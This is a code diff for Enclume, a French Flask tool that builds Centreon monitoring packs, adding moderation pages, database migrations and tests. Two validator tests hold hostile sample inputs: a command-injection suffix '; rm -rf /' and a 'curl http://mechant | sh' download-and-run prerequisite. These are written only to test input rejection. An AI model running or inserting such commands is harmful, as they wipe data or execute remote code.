return noeud;
}
function json(url, options) {
options = options || {};
options.headers = Object.assign({ 'Content-Type': 'application/json' }, options.headers || {});
return fetch(url, options).then(function (r) {
return r.json().catch(function () { return {}; }).then(function (corps) {
if (!r.ok) throw new Error(corps.erreur || 'echec de la requete');
return corps;
});
});
}
function charger() {
detail.hidden = true;
liste.innerHTML = '';
json('/api/moderation/soumissions?statut=' + encodeURIComponent(filtre.value))
.then(function (soumissions) {
if (!soumissions.length) {
liste.appendChild(creer('p', { className: 'lede', textContent: 'Rien dans cette file.' }));
return;
}
soumissions.forEach(function (s) {
var ligne = creer('div', { className: 'pack-ligne' });
var texte = creer('div');
texte.appendChild(creer('b', { textContent: s.nom || s.pack_id }));
texte.appendChild(creer('span', { className: 'tag', textContent: s.statut.replace('_', ' ') }));
texte.appendChild(creer('div', {
className: 'desc',
textContent: s.pack_id + ' — ' + s.categorie + ' — propose par ' + (s.auteur || 'inconnu') +
' le ' + (s.cree_le || '').slice(0, 10)
}));
if (s.url_pr) {
var lien = creer('a', { href: s.url_pr, textContent: 'demande de fusion', target: '_blank' });
lien.rel = 'noopener';
texte.appendChild(lien);
}
if (s.reponse) texte.appendChild(creer('div', { className: 'desc', textContent: 'Motif : ' + s.reponse }));
ligne.appendChild(texte);
var actions = creer('div', { className: 'barre' });
actions.appendChild(creer('button', {
type: 'button', className: 'small', textContent: 'Examiner',
onclick: function () { examiner(s.id); }
}));
ligne.appendChild(actions);
liste.appendChild(ligne);
});
})
.catch(function (erreur) {
liste.appendChild(creer('div', { className: 'notice bad', textContent: erreur.message }));
});
}
function examiner(identifiant) {
json('/api/moderation/soumissions/' + identifiant).then(function (s) {
detail.hidden = false;
detail.innerHTML = '';
detail.appendChild(creer('h3', { textContent: (s.nom || s.pack_id) + ' — ' + s.pack_id }));
if (s.message) {
var mot = creer('div', { className: 'notice' });
mot.appendChild(creer('b', { textContent: "Mot de l'auteur" }));
mot.appendChild(creer('p', { textContent: s.message }));
detail.appendChild(mot);
}
detail.appendChild(creer('div', {
className: 'notice',
textContent: "Contribution externe : relire les lignes de commande, les macros et les " +
'prerequis. Publier ouvre une demande de fusion, ca ne modifie pas la branche principale.'
}));
detail.appendChild(creer('pre', { className: 'code', textContent: s.contenu }));
if (s.statut === 'en_attente') {
var barre = creer('div', { className: 'barre' });
barre.appendChild(creer('button', {
type: 'button', className: 'primary auto', textContent: 'Publier (ouvre une demande de fusion)',
onclick: function () {
json('/api/moderation/soumissions/' + identifiant + '/publier', { method: 'POST' })
.then(function (resultat) {
alert('Demande de fusion ouverte : ' + (resultat.url_pr || 'voir Gitea'));
charger();
})
.catch(function (erreur) { alert('Publication impossible : ' + erreur.message); });
}
}));
barre.appendChild(creer('button', {
type: 'button', className: 'danger', textContent: 'Refuser',
onclick: function () {
var motif = prompt('Motif du refus, communique a l\'auteur :');
if (motif === null) return;
json('/api/moderation/soumissions/' + identifiant + '/refuser', {
method: 'POST', body: JSON.stringify({ motif: motif })
}).then(charger).catch(function (erreur) { alert(erreur.message); });
}
}));
detail.appendChild(barre);
}
detail.scrollIntoView({ behavior: 'smooth', block: 'start' });
}).catch(function (erreur) { alert(erreur.message); });
}
filtre.addEventListener('change', charger);
charger();
+24 -3
View File
@@ -7,10 +7,26 @@
</select>
<span class="sep"></span>
<button type="button" id="btn-pack">Importer un pack</button>
<button type="button" id="btn-import">Ouvrir un projet</button>
<button type="button" id="btn-export">Enregistrer le projet</button>
<button type="button" id="btn-import">Ouvrir un fichier</button>
<button type="button" id="btn-export">Telecharger le projet</button>
<button type="button" id="btn-vider" class="danger">Vider</button>
{% if fonctions.partage %} <button type="button" id="btn-partager">Partager</button>{% endif %}
{% if fonctions.projets_enregistres %}
<button type="button" id="btn-serveur-enregistrer" {% if not utilisateur %}hidden{% endif %}>Enregistrer en ligne</button>
<button type="button" id="btn-serveur-ouvrir" {% if not utilisateur %}hidden{% endif %}>Mes projets</button>
{% endif %}
<span class="grow" id="etat-sauvegarde"></span>
{% if fonctions.soumissions and utilisateur %}
<button type="button" id="btn-soumettre">Proposer un pack</button>
{% endif %}
{% if fonctions.comptes %}
{% if utilisateur %}
<span class="compte">{{ utilisateur.affichage }}{% if utilisateur.administrateur %} <a href="/moderation">moderation</a>{% endif %}</span>
<button type="button" id="btn-deconnexion" class="small">Se deconnecter</button>
{% else %}
<a class="btn" href="/connexion">Se connecter</a>
{% endif %}
{% endif %}
<button type="button" id="btn-generer" class="primary">Generer le CLAPI</button>
</div>
@@ -42,5 +58,10 @@
</template>
<script id="donnees-types" type="application/json">{{ command_types|tojson }}</script>
<script src="{{ url_for('static', filename='editor.js') }}"></script>
<script id="donnees-contexte" type="application/json">{{ {
"fonctions": fonctions,
"connecte": utilisateur is not none,
"partage": partage|default(none),
}|tojson }}</script>
<script src="{{ url_for('static', filename='editeur.js') }}"></script>
{% endblock %}
+33
View File
@@ -0,0 +1,33 @@
{% extends "base.html" %}
{% block title %}Moderation — Enclume{% endblock %}
{% block body %}
<div class="wrap-moderation">
{% if not connecte %}
<div class="notice">
<b>Connexion requise</b>
<p>Cette page est reservee a l'equipe de moderation.</p>
<p style="margin-top:10px"><a class="btn" href="/connexion?retour=/moderation">Se connecter</a></p>
</div>
{% elif not autorise %}
<div class="notice bad">
<b>Acces refuse</b>
<p>Votre compte n'appartient pas au groupe de moderation.</p>
</div>
{% else %}
<div class="objet-head">
<h2>Soumissions de packs</h2>
<span class="grow"></span>
<select id="filtre-statut">
<option value="en_attente">En attente</option>
<option value="publiee">Publiees</option>
<option value="refusee">Refusees</option>
<option value="toutes">Toutes</option>
</select>
<a class="btn" href="/">Retour a l'editeur</a>
</div>
<div class="moderation" id="liste"></div>
<div class="moderation-detail" id="detail" hidden></div>
{% endif %}
</div>
{% if autorise %}<script src="{{ url_for('static', filename='moderation.js') }}"></script>{% endif %}
{% endblock %}
+49 -1
View File
@@ -15,7 +15,10 @@ import zipfile
from flask import Flask, Response, jsonify, render_template, request
from . import auth
from .catalog import CATEGORIES, Catalog
from .config import Config
from .db import db
from .generator import build_plan, generate, render_bundle
from .model import CENTREON_VERSIONS, COMMAND_TYPES, Project, detect_macros, strip_secrets
from .packs import pack_to_project
@@ -44,9 +47,23 @@ def _repertoire_catalogue() -> str:
def create_app() -> Flask:
app = Flask(__name__)
app.config.from_object(Config)
app.config["MAX_CONTENT_LENGTH"] = MAX_BODY
app.config["CATALOG"] = Catalog(_repertoire_catalogue())
if Config.base_active():
db.init_app(app)
auth.init_app(app)
from .routes_donnees import bp as bp_donnees
app.register_blueprint(bp_donnees)
if not Config.SECRET_KEY_FOURNIE and Config.base_active():
app.logger.warning(
"ENCLUME_SECRET_KEY absente : les sessions seront perdues au redemarrage."
)
def catalog() -> Catalog:
return app.config["CATALOG"]
@@ -69,7 +86,13 @@ def create_app() -> Flask:
@app.context_processor
def contexte_commun() -> dict:
return {"version": os.environ.get("ENCLUME_VERSION", "dev")}
utilisateur = auth.utilisateur_courant() if Config.base_active() else None
return {
"version": Config.VERSION,
"fonctions": Config.etat(),
"utilisateur": utilisateur,
"oidc_nom": Config.OIDC_NOM,
}
@app.get("/")
def editor() -> str:
@@ -84,6 +107,30 @@ def create_app() -> Flask:
service_count=cat.service_count,
)
@app.get("/p/<identifiant>")
def page_partage(identifiant: str) -> str:
"""Ouvre l'editeur, qui chargera le projet partage depuis l'API."""
cat = catalog()
return render_template(
"editeur.html",
versions=CENTREON_VERSIONS,
command_types=COMMAND_TYPES,
categories=CATEGORIES,
grouped=cat.by_category(),
pack_count=len(cat.packs),
service_count=cat.service_count,
partage=identifiant,
)
@app.get("/moderation")
def page_moderation():
utilisateur = auth.utilisateur_courant() if Config.base_active() else None
if utilisateur is None:
return render_template("moderation.html", autorise=False, connecte=False)
return render_template(
"moderation.html", autorise=utilisateur.administrateur, connecte=True
)
@app.get("/sante")
def health() -> Response:
cat = catalog()
@@ -95,6 +142,7 @@ def create_app() -> Flask:
"packs": len(cat.packs),
"source_catalogue": cat.root,
"erreurs_catalogue": cat.errors,
"fonctions": Config.etat(),
}
)
+50
View File
@@ -0,0 +1,50 @@
"""Contexte Alembic.
L'URL vient de l'environnement, jamais du fichier ini : la meme image sert en
developpement et en production.
"""
from __future__ import annotations
import os
import sys
from alembic import context
from sqlalchemy import engine_from_config, pool
sys.path.insert(0, os.getcwd())
from enclume.db import Base # noqa: E402
config = context.config
config.set_main_option("sqlalchemy.url", os.environ.get("ENCLUME_DATABASE_URL", ""))
target_metadata = Base.metadata
def run_migrations_offline() -> None:
context.configure(
url=config.get_main_option("sqlalchemy.url"),
target_metadata=target_metadata,
literal_binds=True,
dialect_opts={"paramstyle": "named"},
)
with context.begin_transaction():
context.run_migrations()
def run_migrations_online() -> None:
connectable = engine_from_config(
config.get_section(config.config_ini_section, {}),
prefix="sqlalchemy.",
poolclass=pool.NullPool,
)
with connectable.connect() as connection:
context.configure(connection=connection, target_metadata=target_metadata)
with context.begin_transaction():
context.run_migrations()
if context.is_offline_mode():
run_migrations_offline()
else:
run_migrations_online()
+22
View File
@@ -0,0 +1,22 @@
"""${message}
Revision ID: ${up_revision}
Revises: ${down_revision | comma,n}
Date: ${create_date}
"""
from alembic import op
import sqlalchemy as sa
${imports if imports else ""}
revision = ${repr(up_revision)}
down_revision = ${repr(down_revision)}
branch_labels = ${repr(branch_labels)}
depends_on = ${repr(depends_on)}
def upgrade() -> None:
${upgrades if upgrades else "pass"}
def downgrade() -> None:
${downgrades if downgrades else "pass"}
+73
View File
@@ -0,0 +1,73 @@
"""Socle : comptes, projets, partages, soumissions.
Revision ID: 0001
Revises:
"""
import sqlalchemy as sa
from alembic import op
revision = "0001"
down_revision = None
branch_labels = None
depends_on = None
def upgrade() -> None:
op.create_table(
"utilisateurs",
sa.Column("id", sa.Integer(), primary_key=True),
sa.Column("sujet", sa.String(255), nullable=False, unique=True),
sa.Column("email", sa.String(320), server_default=""),
sa.Column("nom", sa.String(255), server_default=""),
sa.Column("administrateur", sa.Boolean(), server_default=sa.false()),
sa.Column("cree_le", sa.DateTime(timezone=True), server_default=sa.func.now()),
sa.Column("vu_le", sa.DateTime(timezone=True), server_default=sa.func.now()),
)
op.create_table(
"projets",
sa.Column("id", sa.Integer(), primary_key=True),
sa.Column("utilisateur_id", sa.Integer(), sa.ForeignKey("utilisateurs.id"), nullable=False),
sa.Column("nom", sa.String(255), server_default="Projet sans nom"),
sa.Column("contenu", sa.Text(), nullable=False),
sa.Column("cree_le", sa.DateTime(timezone=True), server_default=sa.func.now()),
sa.Column("maj_le", sa.DateTime(timezone=True), server_default=sa.func.now()),
)
op.create_index("ix_projets_utilisateur", "projets", ["utilisateur_id"])
op.create_table(
"partages",
sa.Column("id", sa.String(32), primary_key=True),
sa.Column("contenu", sa.Text(), nullable=False),
sa.Column("nom", sa.String(255), server_default=""),
sa.Column("utilisateur_id", sa.Integer(), sa.ForeignKey("utilisateurs.id"), nullable=True),
sa.Column("cree_le", sa.DateTime(timezone=True), server_default=sa.func.now()),
sa.Column("expire_le", sa.DateTime(timezone=True), nullable=False),
sa.Column("vues", sa.Integer(), server_default="0"),
)
op.create_index("ix_partages_expire", "partages", ["expire_le"])
op.create_table(
"soumissions",
sa.Column("id", sa.Integer(), primary_key=True),
sa.Column("utilisateur_id", sa.Integer(), sa.ForeignKey("utilisateurs.id"), nullable=False),
sa.Column("pack_id", sa.String(64), nullable=False),
sa.Column("categorie", sa.String(32), nullable=False),
sa.Column("nom", sa.String(255), server_default=""),
sa.Column("contenu", sa.Text(), nullable=False),
sa.Column("message", sa.Text(), server_default=""),
sa.Column("statut", sa.String(16), server_default="en_attente"),
sa.Column("reponse", sa.Text(), server_default=""),
sa.Column("url_pr", sa.String(512), server_default=""),
sa.Column("cree_le", sa.DateTime(timezone=True), server_default=sa.func.now()),
sa.Column("traite_le", sa.DateTime(timezone=True), nullable=True),
)
op.create_index("ix_soumissions_statut", "soumissions", ["statut"])
def downgrade() -> None:
op.drop_table("soumissions")
op.drop_table("partages")
op.drop_table("projets")
op.drop_table("utilisateurs")
+5
View File
@@ -1,3 +1,8 @@
Flask>=3.0,<4.0
PyYAML>=6.0,<7.0
gunicorn>=22.0,<27.0
Authlib>=1.3,<2.0
Flask-SQLAlchemy>=3.1,<4.0
SQLAlchemy>=2.0,<3.0
alembic>=1.13,<2.0
psycopg[binary]>=3.1,<4.0
+30
View File
@@ -36,6 +36,13 @@ def test_prefixe_applique_aux_references():
assert liaison.count("ACME-") == 2
def test_version_historique_convertie():
"""Un projet enregistre avec l'ancienne notation reste lisible."""
projet = Project.from_dict({"centreon_version": "24.x"})
assert projet.centreon_version == "24.10"
assert Project.from_dict({}).centreon_version == "25.10"
def test_macros_trois_champs_sur_ancienne_version():
projet = projet_exemple()
projet.centreon_version = "legacy"
@@ -91,3 +98,26 @@ def test_repli_sur_le_catalogue_de_l_image(tmp_path, monkeypatch):
donnees = reponse.get_json()
assert donnees["packs"] >= 20
assert donnees["source_catalogue"] == "catalog"
def test_toutes_les_ressources_de_la_page_existent():
"""Un lien casse vers le script rend l'interface muette sans aucune erreur serveur."""
import re
client = create_app().test_client()
html = client.get("/").data.decode()
refs = re.findall(r'(?:src|href)="(/static/[^"]+)"', html)
assert refs, "la page ne reference aucune ressource statique"
for ref in refs:
assert client.get(ref).status_code == 200, f"ressource introuvable : {ref}"
def test_le_script_expose_les_gestionnaires_attendus():
"""Les identifiants du gabarit et ceux du script doivent correspondre."""
import re
client = create_app().test_client()
html = client.get("/").data.decode()
script = client.get("/static/editeur.js").data.decode()
for identifiant in re.findall(r'id="(btn-[^"]+|projet-[^"]+)"', html):
assert identifiant in script, f"aucun gestionnaire pour {identifiant}"
+279
View File
@@ -0,0 +1,279 @@
"""Tests des fonctionnalites serveur : partage, projets, soumissions, moderation.
La base est un SQLite temporaire ; PostgreSQL n'apporte rien de plus a verifier
ici, et la CI reste sans service externe.
"""
from __future__ import annotations
import importlib
import json
import pytest
PACK_VALIDE = """
id: app-rabbitmq
name: RabbitMQ
category: application
status: to-verify
plugin: centreon_rabbitmq_restapi.pl
description: Supervision d'un broker RabbitMQ via son API de management.
host_template:
name: App-RabbitMQ-custom
alias: Applicatif RabbitMQ
parents: [generic-active-host-custom]
macros:
- {name: RABBITPORT, value: "15672", description: "Port de l'API"}
services:
- name: Queues
alias: Queues
description: Messages en attente
line: "$CENTREONPLUGINS$/centreon_rabbitmq_restapi.pl --plugin=apps::rabbitmq::restapi::plugin --mode=queues --hostname=$HOSTADDRESS$"
macros:
- {name: WARNING, value: "1000", description: "Seuil warning"}
"""
@pytest.fixture()
def app(tmp_path, monkeypatch):
monkeypatch.setenv("ENCLUME_DATABASE_URL", f"sqlite:///{tmp_path/'essai.db'}")
monkeypatch.setenv("ENCLUME_CATALOG", "catalog")
monkeypatch.setenv("ENCLUME_SECRET_KEY", "cle-de-test")
monkeypatch.setenv("ENCLUME_COOKIE_SECURE", "0")
import enclume.config, enclume.db, enclume.auth, enclume.routes_donnees, enclume.webapp
for module in (enclume.config, enclume.db, enclume.auth, enclume.routes_donnees, enclume.webapp):
importlib.reload(module)
application = enclume.webapp.create_app()
with application.app_context():
enclume.db.db.create_all()
return application
def _connecter(app, client, administrateur=False):
"""Cree un compte et ouvre une session, sans passer par le fournisseur OIDC."""
from enclume.db import Utilisateur, db
with app.app_context():
utilisateur = Utilisateur(
sujet="sujet-de-test", email="[email protected]", nom="Testeur",
administrateur=administrateur,
)
db.session.add(utilisateur)
db.session.commit()
identifiant = utilisateur.id
with client.session_transaction() as session:
session["utilisateur_id"] = identifiant
return identifiant
# --------------------------------------------------------------- chantier 3
def test_partage_cree_et_relu(app):
client = app.test_client()
projet = {"name": "Projet partage", "commands": [{"name": "X", "line": "$USER1$/check_ping"}]}
reponse = client.post("/api/partages", json={"project": projet})
assert reponse.status_code == 200
identifiant = reponse.get_json()["id"]
relu = client.get(f"/api/partages/{identifiant}")
assert relu.status_code == 200
assert relu.get_json()["project"]["name"] == "Projet partage"
def test_partage_vide_les_mots_de_passe(app):
client = app.test_client()
projet = {
"name": "Avec secret",
"host_templates": [
{"name": "H", "macros": [{"name": "PASSWORD", "value": "secret", "is_password": True}]}
],
}
identifiant = client.post("/api/partages", json={"project": projet}).get_json()["id"]
relu = client.get(f"/api/partages/{identifiant}").get_json()
assert relu["project"]["host_templates"][0]["macros"][0]["value"] == ""
def test_partage_inconnu(app):
assert app.test_client().get("/api/partages/inexistant").status_code == 404
def test_projets_enregistres_cycle_complet(app):
client = app.test_client()
_connecter(app, client)
cree = client.post("/api/projets", json={"project": {"name": "Mon projet"}})
assert cree.status_code == 200
identifiant = cree.get_json()["id"]
assert len(client.get("/api/projets").get_json()) == 1
assert client.get(f"/api/projets/{identifiant}").get_json()["project"]["name"] == "Mon projet"
assert client.delete(f"/api/projets/{identifiant}").status_code == 200
assert client.get("/api/projets").get_json() == []
def test_projets_refuses_sans_connexion(app):
assert app.test_client().get("/api/projets").status_code == 401
def test_un_compte_ne_voit_pas_les_projets_d_un_autre(app):
from enclume.db import Projet, Utilisateur, db
client = app.test_client()
_connecter(app, client)
with app.app_context():
autre = Utilisateur(sujet="autre")
db.session.add(autre)
db.session.commit()
projet = Projet(utilisateur_id=autre.id, nom="Prive", contenu="{}")
db.session.add(projet)
db.session.commit()
identifiant = projet.id
assert client.get(f"/api/projets/{identifiant}").status_code == 404
assert client.delete(f"/api/projets/{identifiant}").status_code == 404
# --------------------------------------------------------------- chantier 5
def test_soumission_valide_puis_enregistree(app):
client = app.test_client()
_connecter(app, client)
verification = client.post("/api/soumissions/verifier", json={"yaml": PACK_VALIDE})
assert verification.get_json()["valide"] is True
envoi = client.post("/api/soumissions", json={"yaml": PACK_VALIDE, "message": "premier pack"})
assert envoi.status_code == 200
assert envoi.get_json()["statut"] == "en_attente"
assert len(client.get("/api/soumissions").get_json()) == 1
@pytest.mark.parametrize(
"modification, attendu",
[
("id: Mauvais Identifiant", "identifiant"),
("category: inconnue", "Categorie"),
],
)
def test_soumission_refusee_sur_pack_invalide(app, modification, attendu):
client = app.test_client()
_connecter(app, client)
cle = modification.split(":")[0]
yaml_casse = "\n".join(
modification if ligne.startswith(f"{cle}:") else ligne for ligne in PACK_VALIDE.splitlines()
)
reponse = client.post("/api/soumissions", json={"yaml": yaml_casse})
assert reponse.status_code == 400
assert any(attendu.lower() in p.lower() for p in reponse.get_json()["problemes"])
def test_soumission_refuse_une_commande_avec_point_virgule(app):
client = app.test_client()
_connecter(app, client)
yaml_casse = PACK_VALIDE.replace("--mode=queues", "--mode=queues; rm -rf /")
reponse = client.post("/api/soumissions", json={"yaml": yaml_casse})
assert reponse.status_code == 400
def test_soumission_refuse_un_prerequis_douteux(app):
client = app.test_client()
_connecter(app, client)
yaml_casse = PACK_VALIDE + """
prerequis:
paquets:
debian: ["curl http://mechant | sh"]
"""
reponse = client.post("/api/soumissions", json={"yaml": yaml_casse})
assert reponse.status_code == 400
def test_moderation_reservee_aux_administrateurs(app):
client = app.test_client()
_connecter(app, client, administrateur=False)
assert client.get("/api/moderation/soumissions").status_code == 403
def test_moderation_refus_avec_motif(app):
client = app.test_client()
_connecter(app, client, administrateur=True)
identifiant = client.post("/api/soumissions", json={"yaml": PACK_VALIDE}).get_json()["id"]
en_attente = client.get("/api/moderation/soumissions").get_json()
assert len(en_attente) == 1
assert "auteur" in en_attente[0]
refus = client.post(
f"/api/moderation/soumissions/{identifiant}/refuser", json={"motif": "doublon"}
)
assert refus.get_json()["statut"] == "refusee"
assert refus.get_json()["reponse"] == "doublon"
assert client.post(f"/api/moderation/soumissions/{identifiant}/refuser", json={}).status_code == 409
def test_publication_sans_gitea_configure(app):
client = app.test_client()
_connecter(app, client, administrateur=True)
identifiant = client.post("/api/soumissions", json={"yaml": PACK_VALIDE}).get_json()["id"]
reponse = client.post(f"/api/moderation/soumissions/{identifiant}/publier")
assert reponse.status_code == 503
def test_publication_ouvre_une_demande_de_fusion(app, monkeypatch):
"""La publication appelle Gitea ; on verifie les appels, sans reseau."""
import enclume.gitea as gitea
import enclume.routes_donnees as routes
appels = []
def faux_appel(methode, chemin, corps=None):
appels.append((methode, chemin, corps))
if chemin.endswith("/pulls"):
return {"html_url": "https://gitea.example/Tips-Of-Mine/Enclume/pulls/7"}
return {}
monkeypatch.setattr(gitea, "_appel", faux_appel)
monkeypatch.setattr(gitea.Config, "GITEA_URL", "https://gitea.example")
monkeypatch.setattr(gitea.Config, "GITEA_TOKEN", "jeton")
monkeypatch.setattr(gitea.Config, "GITEA_PROPRIETAIRE", "Tips-Of-Mine")
monkeypatch.setattr(gitea.Config, "GITEA_DEPOT", "Enclume")
monkeypatch.setattr(routes.Config, "gitea_actif", classmethod(lambda cls: True))
client = app.test_client()
_connecter(app, client, administrateur=True)
identifiant = client.post("/api/soumissions", json={"yaml": PACK_VALIDE}).get_json()["id"]
reponse = client.post(f"/api/moderation/soumissions/{identifiant}/publier")
assert reponse.status_code == 200
resultat = reponse.get_json()
assert resultat["statut"] == "publiee"
assert resultat["url_pr"].endswith("/pulls/7")
creation, demande = appels
assert creation[1].endswith("catalog/application/app-rabbitmq.yml")
assert creation[2]["new_branch"].startswith("pack/app-rabbitmq-")
assert demande[2]["head"] == creation[2]["new_branch"]
assert demande[2]["base"] == "main"
# ------------------------------------------------------------ etat du site
def test_les_fonctions_sont_annoncees(app):
fonctions = app.test_client().get("/sante").get_json()["fonctions"]
assert fonctions["partage"] is True # base presente
assert fonctions["comptes"] is False # OIDC absent en test
assert fonctions["publication_gitea"] is False
def test_page_de_partage_sert_l_editeur(app):
reponse = app.test_client().get("/p/quelconque")
assert reponse.status_code == 200
assert b"donnees-contexte" in reponse.data
def test_moderation_demande_la_connexion(app):
page = app.test_client().get("/moderation")
assert page.status_code == 200
assert "Connexion requise".encode() in page.data